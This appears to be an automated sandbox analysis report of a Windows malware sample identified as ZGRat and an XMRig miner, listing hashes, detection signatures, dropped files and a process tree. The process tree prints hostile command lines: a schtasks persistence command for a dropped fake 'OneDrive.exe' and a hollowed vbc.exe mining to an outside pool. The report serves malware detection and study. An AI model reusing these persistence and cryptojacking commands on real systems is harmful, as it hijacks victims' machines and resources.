Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-01-2024 17:30

General

  • Target

    f9adadab14556ab5fbd0437eb0db594d16a088dd8650759254190be0be4fa90f.exe

  • Size

    5.2MB

  • MD5

    a4810aa04ed8bb9570a8d851300ac0f9

  • SHA1

    0c0ecb0e4396eba03e2d75f482209c656f83d64d

  • SHA256

    f9adadab14556ab5fbd0437eb0db594d16a088dd8650759254190be0be4fa90f

  • SHA512

    b9935f88c7771065e999d5e0212a2f394d90b78330c2f18c72c8baf8bdbadf8c1b9e8b9ae9289347cc9496917c25a7efa182c486c63fc8b65c32227903c8fdb4

  • SSDEEP

    98304:gxiFxevUUdG/Mul2rq/aReDkizMeQUkfn:5/Mul2rVe4iwVUM

Score
10/10

Malware Config

Signatures

  • Detect ZGRat V1 3 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • .NET Reactor proctector 3 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f9adadab14556ab5fbd0437eb0db594d16a088dd8650759254190be0be4fa90f.exe
    "C:\Users\Admin\AppData\Local\Temp\f9adadab14556ab5fbd0437eb0db594d16a088dd8650759254190be0be4fa90f.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3812
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6BCA.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3280
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1984
      • C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
        "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3684
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3160
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
            5⤵
            • Creates scheduled task(s)
            PID:3068
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:4484

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe

    Filesize

    573KB

    MD5

    23abd87f3746fecc7aac2ac1ee0af8c1

    SHA1

    9ff4420d386211230102b0b35120134df49f437f

    SHA256

    e260d00ebbb20d893a3093b593a6846da89e097781b62eb335108d9eac851dcc

    SHA512

    7bf0cd170b1edbbb04b7e0405afad2d7929cabe02710a74027e514a8444ffd7c461ba88ecaa3620361bf32a32fa5d3a831d679c417b87511532bf0f03b2ec0f4

  • C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe

    Filesize

    729KB

    MD5

    599d02ff76c5a3ac33f3f9dda7d25740

    SHA1

    33b5774c41191545bdbb3041cfbd5f7d3f35790d

    SHA256

    b36d240b53013b837e2b0d37428927bc417c46e0bab354983e75c6677efc7d40

    SHA512

    4c386810e951fa0e8bff1dc65116efaf31afa7603621776dfa1464040909346dfe5fdcaa783862437a96dce3bc75ecf6cd3cce334cc535f8e68d56f80f819c4f

  • C:\Users\Admin\AppData\Local\Temp\tmp6BCA.tmp.bat

    Filesize

    176B

    MD5

    3e2cb8be72f719381c4e6f7232a04b56

    SHA1

    90782dfa9daadc2a91eff3044ca69ce24ad8fa96

    SHA256

    5089dec5b2033dbef6a1b872718ae0fe5da1db02b30a75b1a97abd76acf63af0

    SHA512

    7d5fd590cb699d8bc8199bc647cb1c179d4cf78d54ce03456498372f1901cb9155479b43d6f923e96b869b64c013b0d1564c1ac5fdebc67402b123dda2a83c8c

  • memory/3684-17-0x00007FFCBD490000-0x00007FFCBDF51000-memory.dmp

    Filesize

    10.8MB

  • memory/3684-11-0x00007FFCBD490000-0x00007FFCBDF51000-memory.dmp

    Filesize

    10.8MB

  • memory/3684-12-0x000000001CA40000-0x000000001CA50000-memory.dmp

    Filesize

    64KB

  • memory/3812-7-0x00007FFCBDC40000-0x00007FFCBE701000-memory.dmp

    Filesize

    10.8MB

  • memory/3812-33-0x00007FFCBDC40000-0x00007FFCBE701000-memory.dmp

    Filesize

    10.8MB

  • memory/3812-0-0x0000000000310000-0x0000000000842000-memory.dmp

    Filesize

    5.2MB

  • memory/4484-23-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-27-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-19-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-18-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-20-0x0000014EBE830000-0x0000014EBE850000-memory.dmp

    Filesize

    128KB

  • memory/4484-21-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-22-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-15-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-24-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-25-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-26-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-16-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-28-0x0000014EBE880000-0x0000014EBE8C0000-memory.dmp

    Filesize

    256KB

  • memory/4484-29-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-30-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-31-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-32-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-13-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-35-0x0000014EC02D0000-0x0000014EC02F0000-memory.dmp

    Filesize

    128KB

  • memory/4484-34-0x0000014EC02B0000-0x0000014EC02D0000-memory.dmp

    Filesize

    128KB

  • memory/4484-36-0x0000000140000000-0x00000001407DC000-memory.dmp

    Filesize

    7.9MB

  • memory/4484-37-0x0000014EC02B0000-0x0000014EC02D0000-memory.dmp

    Filesize

    128KB

  • memory/4484-38-0x0000014EC02D0000-0x0000014EC02F0000-memory.dmp

    Filesize

    128KB